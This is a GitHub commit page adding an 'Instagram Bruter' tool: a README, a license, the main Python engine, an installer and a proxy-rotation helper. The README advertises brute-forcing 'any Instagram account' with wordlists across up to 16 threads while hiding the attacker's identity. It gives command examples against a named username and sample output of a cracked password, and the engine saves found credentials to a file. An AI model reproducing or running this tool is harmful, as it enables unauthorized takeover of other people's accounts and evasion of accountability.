Skip to content

Commit

Permalink
Update
Browse files Browse the repository at this point in the history
  • Loading branch information
Bitwise-01 committed Jan 19, 2019
1 parent 84835d5 commit 77584c4
Show file tree
Hide file tree
Showing 22 changed files with 1,292 additions and 7 deletions.
21 changes: 21 additions & 0 deletions Executable/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
MIT License

Copyright (c) 2018 Mohamed

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
103 changes: 103 additions & 0 deletions Executable/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,103 @@
# Instagram Bruter

[![Version](https://img.shields.io/badge/Version-v2.1.0-blue.svg)]()
[![Python](https://img.shields.io/badge/Python-v2.7--3-blue.svg)]()
[![Discord](https://img.shields.io/badge/Chat-Server-brightgreen.svg)](https://discord.gg/SMUaWmn)
<br>

This program will brute force any Instagram account you send it its way. Just give it a target, a password list and a mode then press enter and forget about it. No need to worry about anonymity when using this program, its highest priority is your anonymity, it only attacks when your identity is hidden.


### Support
**It's not easy maintaining this code, a donation of any size will be appreciated**<br>

[![Donate](https://img.shields.io/badge/PayPal-Donate-orange.svg)]( https://www.paypal.me/Msheikh03)

### Requirements
- Python *v2.7.x* **|** *v3.x.x*
- ~~Kali Linux 2.0~~
- ~~TOR~~

### Install Dependencies
```
python install.py
```

### Help
```
C:\Users\Mohamed\Desktop\Instagram>python instagram.py -h
usage: instagram.py [-h] [-m MODE] username wordlist
positional arguments:
username email or username
wordlist password list
optional arguments:
-h, --help show this help message and exit
-m MODE, --mode MODE modes: 0 => 16 bots; 1 => 8 bots; 2 => 4 bots; 3 => 2 bots
```

### Usage
```
python instagram.py <username> <wordlist> -m <mode>
```

### Bots(Threads)
- 2 bots: 32 passwords at a time
- 4 bots: 64 passwords at a time
- 8 bots: 128 passwords at a time
- 16 bots: 256 passwords at a time

### Modes
- 0: 16 bots
- 1: 8 bots
- 2: 4 bots
- 3: 2 bots

### Chill mode
This mode uses only 2 bots, or 32 passwords at a time.
```
C:\Users\Mohamed\Desktop\Instagram>python instagram.py Sami09.1 pass.lst -m 3
```

### Moderate mode 1
This mode uses 4 bots, or 64 passwords at a time.
```
C:\Users\Mohamed\Desktop\Instagram>python instagram.py Sami09.1 pass.lst -m 2
```

### Moderate mode 2
This mode uses 8 bots, or 128 passwords at a time.
```
C:\Users\Mohamed\Desktop\Instagram>python instagram.py Sami09.1 pass.lst -m 1
```

### Savage mode
This mode uses 16 bots, or 256 passwords at a time.
```
C:\Users\Mohamed\Desktop\Instagram>python instagram.py Sami09.1 pass.lst -m 0
```

### If you don't specify a mode, then mode is set to 2

### Run
```
[-] Wordlist: pass.lst
[-] Username: Sami09.1
[-] Password: 2
[-] Attempts: 14
[-] Browsers: 87
```

### Stop
```
[-] Wordlist: pass.lst
[-] Username: Sami09.1
[-] Password: Sami123
[-] Attempts: 101
[-] Browsers: 0
[!] Password Found
[+] Username: Sami09.1
[+] Password: Sami123
```
Binary file not shown.
148 changes: 148 additions & 0 deletions Executable/instagram.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,148 @@
# Date: 12/29/2018
# Author: Mohamed
# Description: Instagram bruter

from sys import exit
from os.path import exists
from lib.bruter import Bruter
from lib.session import Session
from lib.display import Display
from lib.const import credentials, modes


class Engine(object):

def __init__(self, username, threads, passlist_path):
self.bruter = None
self.resume = False
self.is_alive = True
self.threads = threads
self.username = username
self.display = Display()
self.passlist_path = passlist_path
self.session = Session(username, passlist_path)

def session_exists(self):
return self.session.exists

def create_bruter(self):
self.bruter = Bruter(self.username, self.threads, self.passlist_path, self.resume)

def get_user_resp(self):
return self.display.prompt('Would you like to resume the attack? [y/n]: ')

def write_to_file(self, password):
with open(credentials, 'at') as f:
data = 'Username: {}\nPassword: {}\n\n'.format(self.username.title(), password)
f.write(data)

def start(self):
if self.session_exists() and self.is_alive:
resp = None

try:
resp = self.get_user_resp()
except:
self.is_alive = False

if resp and self.is_alive:
if resp.strip().lower() == 'y':
self.resume = True

if self.is_alive:
self.create_bruter()

try:
self.bruter.start()
except KeyboardInterrupt:
self.bruter.stop()
self.bruter.display.shutdown(self.bruter.last_password,
self.bruter.password_manager.attempts, len(self.bruter.browsers))
finally:
self.stop()

def stop(self):
if self.is_alive:

self.bruter.stop()
self.is_alive = False

if self.bruter.password_manager.is_read and not self.bruter.is_found and not self.bruter.password_manager.list_size:
self.bruter.display.stats_not_found(self.bruter.last_password,
self.bruter.password_manager.attempts, len(self.bruter.browsers))

if self.bruter.is_found:
self.write_to_file(self.bruter.password)
self.bruter.display.stats_found(self.bruter.password,
self.bruter.password_manager.attempts, len(self.bruter.browsers))


def args():
enable_colors = str(input('Enable colors? (default: y) [y/n]: '))

if not enable_colors:
enable_colors = True
else:
if enable_colors[0].lower() == 'n':
enable_colors = False

display = Display(is_color=enable_colors)
username = display.prompt('Enter a username: ')

if not username:
display.warning('You can\'t leave this field empty')
display.wait()
exit()

passlist = display.prompt('Enter the path to your password list: ')

if not exists(passlist):
display.warning('Invalid path to password list', False)
display.wait()
exit()

display.info('''Modes:\r
0: => 256 passwords at a time
1: => 128 passwords at a time
2: => 64 passwords at a time
3: => 32 passwords at a time
''', False)

mode = display.prompt('Select a mode [0, 1, 2, 3]: ', False)

if not mode.isdigit():
display.warning('Mode must be a number', False)
display.wait()
exit()

mode = int(mode)

if int(mode) > 3:
display.warning('Mode must be no more than 3', False)
display.wait()
exit()

if int(mode) < 0:
display.warning('Mode must bot no less than 0', False)
display.wait()
exit()

return [username, passlist, mode]


if __name__ == '__main__':
try:
user_input = args()
except KeyboardInterrupt:
exit()

display = Display()
username, passlist, mode = user_input

try:
Engine(username, modes[mode], passlist).start()
except:
pass
finally:
display.wait()
exit()
91 changes: 91 additions & 0 deletions Executable/install.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,91 @@
# Date: 01/09/2019
# Author: Mohamed
# Description: Install file

from time import sleep
from queue import Queue
from os.path import exists
from subprocess import Popen
from threading import Thread, RLock


class Install:

def __init__(self, path_to_req):
self.lock = RLock()
self.is_alive = True
self.is_reading = True
self.is_installing = False
self.requirements = Queue()
self.path_to_req = path_to_req

@property
def path_exists(self):
return exists(self.path_to_req)

def read_file(self):
with open('requirements.txt', mode='rt') as file:
for line in file:
if line:
with self.lock:
self.requirements.put(line.replace('\n', ''))

self.is_reading = False

def install(self, name):
print('[+] Installing {} ...'.format(name))
cmd = 'pip install {}'.format(name)
cmd = cmd.split()

try:
self.is_installing = True
Popen(cmd).wait()
except:
print('[!] Failed to install {}'.format(name))
finally:
print('\n')
self.is_installing = False

def install_all(self):
while self.is_alive:

while self.requirements.qsize():
with self.lock:
name = self.requirements.get()
self.install(name)

def start_primary_threads(self):
read_thread = Thread(target=self.read_file)
install_all_thread = Thread(target=self.install_all)

read_thread.daemon = True
install_all_thread.daemon = True

read_thread.start()
install_all_thread.start()

def start(self):
if self.path_exists:
self.start_primary_threads()

while self.is_alive:

try:
if not self.is_reading and not self.requirements.qsize() and not self.is_installing:
self.stop()
sleep(0.5)
except KeyboardInterrupt:
self.stop()

else:
print('[*] Unable to locate the file requirements.txt')

def stop(self):
self.is_alive = False


if __name__ == '__main__':
path_to_req = 'requirements.txt'

install = Install(path_to_req)
install.start()
2 changes: 2 additions & 0 deletions Executable/lib/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
# Date: 12/30/2018
# Author: Mohamed
24 changes: 24 additions & 0 deletions Executable/lib/bad_proxies.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
# Date: 12/29/2018
# Author: Mohamed
# Description: Manages bad proxies

from .const import max_bad_proxies


class BadProxies(object):

def __init__(self):
self.proxies = []

def __contains__(self, proxy):
for _proxy in self.proxies:
if _proxy.ip == proxy.ip and _proxy.port == proxy.port:
return True
return False

def append(self, proxy):
if len(self.proxies) >= max_bad_proxies:
self.proxies.pop(0)

self.proxies.append(proxy)

Loading

0 comments on commit 77584c4

Please sign in to comment.